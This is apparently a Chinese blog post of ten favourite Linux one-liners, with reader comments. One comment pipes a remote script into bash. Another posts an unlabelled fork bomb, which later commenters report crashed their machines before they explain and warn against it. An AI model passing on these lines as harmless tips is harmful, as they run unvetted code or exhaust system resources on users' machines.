10 个最酷的 Linux 单行命令

下面是来自 Commandlinefu 网站由用户投票决出的 10 个最酷的 Linux 单行命令,希望对你有用。

  1. sudo !!

    以 root 帐户执行上一条命令。

  2. python -m SimpleHTTPServer

    利用 Python 搭建一个简单的 Web 服务器,可通过 http://$HOSTNAME:8000 访问。

  3. :w !sudo tee %

    在 Vim 中无需权限保存编辑的文件。

  4. cd -

    更改到上一次访问的目录。

  5. ^foo^bar

    将上一条命令中的 foo 替换为 bar,并执行。

  6. cp filename{,.bak}

    快速备份或复制文件。

  7. mtr google.com

    traceroute + ping。

  8. !whatever:p

    搜索命令历史,但不执行。

  9. $ssh-copy-id user@host

    将 ssh keys 复制到 user@host 以启用无密码 SSH 登录。

  10. ffmpeg -f x11grab -s wxga -r 25 -i :0.0 -sameq /tmp/out.mpg

    把 Linux 桌面录制为视频。

关于 Commandlinefu,本站去年曾作介绍,不熟悉的朋友可点击查看。

Read More:

  • No related posts

33 Comments

  1. 1 绿色圣光 Commented @ 2010-03-19 21:16Reply to this comment

    果真很酷!

  2. 2 Iven Commented @ 2010-03-19 21:20Reply to this comment

    嗯,知道五个……

  3. 3 hmy Commented @ 2010-03-19 21:28Reply to this comment

    第2个常用,确实非常好用

  4. 4 ggarlic Commented @ 2010-03-19 21:28Reply to this comment

    其实也可以把cp换成mv,这样就变成快速移动/改名了,很多命令都支持{,}

  5. 5 yinchuan Commented @ 2010-03-19 21:36Reply to this comment

    果然强悍……

  6. 6 ricky Commented @ 2010-03-19 21:43Reply to this comment

    超酷,只知道4和6.

    还有一个:

    cmd !$

    把上个命令的参数作为参数。也挺常用的。

  7. 7 老白 Commented @ 2010-03-19 21:50Reply to this comment

    没有用过

  8. 8 transtone Commented @ 2010-03-19 21:54Reply to this comment

    最后一条是ahei要的:)

  9. 9 levon Commented @ 2010-03-19 22:16Reply to this comment

    mtr真好啊

  10. 10 hmy Commented @ 2010-03-19 22:37Reply to this comment

    curl http://www.example.com/shell.sh|bash

  11. 11 X Commented @ 2010-03-19 22:40Reply to this comment

    :(){ :|:& };:

  12. 12 逸飞 Commented @ 2010-03-19 22:49Reply to this comment

    好,学习了。

    另,反对 X 这种乱贴代码的行为。

  13. 13 fanhe Commented @ 2010-03-19 22:52Reply to this comment

    收益匪浅 11楼的代码我中过招,不懂的人别运行,不然你会后悔的

  14. 14 jqxl0205 Commented @ 2010-03-19 22:58Reply to this comment

    楼上真坏!

  15. 15 jqxl0205 Commented @ 2010-03-19 22:59Reply to this comment

    晕,看的时候才11楼,怎么一下多了两层。

    好吧,我想说11楼真坏。

  16. 16 shellexy Commented @ 2010-03-19 23:30Reply to this comment

    @ggarlic: 这不是命令支持,而是 bash 扩展

  17. 17 冰古 Commented @ 2010-03-20 1:01Reply to this comment

    我比较喜欢第六跟第七条。

  18. 18 liusp Commented @ 2010-03-20 2:27Reply to this comment

    Particularly Useful!

  19. 19 Julian Commented @ 2010-03-20 3:18Reply to this comment

    @ricky: 使用上一条命令参数更方便的做法是 M-. :P

  20. 20 ebird Commented @ 2010-03-20 10:00Reply to this comment
    1. 里面带sudo的那些命令貌似默认情况只在ubuntu下有效。
    2. mtr默认需要root权限。
  21. 21 zdavid Commented @ 2010-03-20 10:20Reply to this comment

    很酷很好用

  22. 22 zhou13 Commented @ 2010-03-20 16:32Reply to this comment

    谁能解释一下11楼代码的含义,很有意思呢。 cp filename{,.bak} 为什么能复制文件?

  23. 23 awgnl Commented @ 2010-03-20 16:57Reply to this comment

    桌面用户路过~~

  24. 24 stamilo Commented @ 2010-03-20 17:12Reply to this comment

    @zhou13

    类似乘法 cp filename{,.bak} => cp filename filelname.bak

    如: echo {1,2}d{3,4}

  25. 25 mlsii Commented @ 2010-03-20 20:36Reply to this comment

    很好........ 确实有帮助

  26. 26 ee Commented @ 2010-03-20 21:33Reply to this comment

    ffmpeg 可以带 -s 1280x800的。 其他的,都是常规的了。

  27. 27 chunchengfh Commented @ 2010-03-21 1:18Reply to this comment

    11楼的代码最迷惑的地方就是“:”。 其实只要将之换成一个普通的函数名(如f)就很简单了: f() { f | f & }; f 就是先定义函数f然后运行之;因为函数f是递归定义的,所以会有问题

  28. 28 maxint Commented @ 2010-03-21 18:46Reply to this comment

    常用其中两条,不错

  29. 29 君临天下 Commented @ 2010-03-22 10:07Reply to this comment

    学习了!第六条经常用! 受益受益!

  30. 30 gouxiongmao Commented @ 2010-03-22 10:17Reply to this comment

    运行了11楼的代码,机器资源耗尽,down掉了。。。。谁能详细解析一下。。。。。。。。

  31. 31 Dabanba Commented @ 2010-03-22 11:43Reply to this comment

    竟然有好多没用过,学习ing

  32. 32 timesshare Commented @ 2010-04-01 1:23Reply to this comment

    关于11楼的代码,参考:http://ubuntuforums.org/announcement.php?a=54

  33. 33 timesshare Commented @ 2010-04-01 1:29Reply to this comment

    关于11楼的代码,看不明白英文的,去 Google “危险 Linux命令"。